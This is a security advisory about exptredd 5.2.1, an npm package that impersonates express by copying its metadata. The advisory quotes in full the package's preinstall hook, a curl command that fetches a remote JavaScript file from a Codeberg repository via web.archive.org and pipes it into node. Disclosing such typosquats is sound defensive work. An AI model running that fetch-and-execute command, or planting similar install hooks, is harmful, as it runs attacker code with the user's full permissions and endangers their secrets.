npm · Malicious package advisory
Malwareexptredd
GHSA-49qv-wmf6-cj3h
Malicious code in exptredd (npm)
Details
**Severity:** Critical **Affected versions:** `= 5.2.1` ## Source: amazon-inspector (288357063a28e85e649fc37c747c724bd06ce09c16624f7b2cad3dc854296035) npm package [email protected] impersonates the express package: package.json copies express's description, author, repository, contributors, and dependency list verbatim while shipping under the name 'exptredd'. package.json line 98 declares a preinstall lifecycle hook that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching a JavaScript file from a third-party Codeberg repository on a mutable branch (via web.archive.org) with no version pin, hash, or signature, and piping it directly into node. Any developer who mistypes `express` and runs `npm install exptredd` executes arbitrary code from an account unrelated to the expressjs publisher at install time, with full permissions of the installing user. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptredd/MAL-2026-17247.json)) **References:** - https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptredd/MAL-2026-17247.json - https://www.npmjs.com/package/exptredd/v/5.2.1 - https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/exptredd/MAL-2026-17247.json - https://www.npmjs.com/package/exptredd - https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/exptredd/MAL-2026-17247.json - https://safedep.io/dirtyblanket-express-impersonation-npm - https://github.com/ossf/malicious-packages/blob/7a1f1382a84618fabc1c45e8b61e9c9cea6ea33f/osv/malicious/npm/exptredd/MAL-2026-17247.json - https://www.npmjs.com/package/exptredd/v/5.2.3
Compromised versions (1)
- = 5.2.1
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.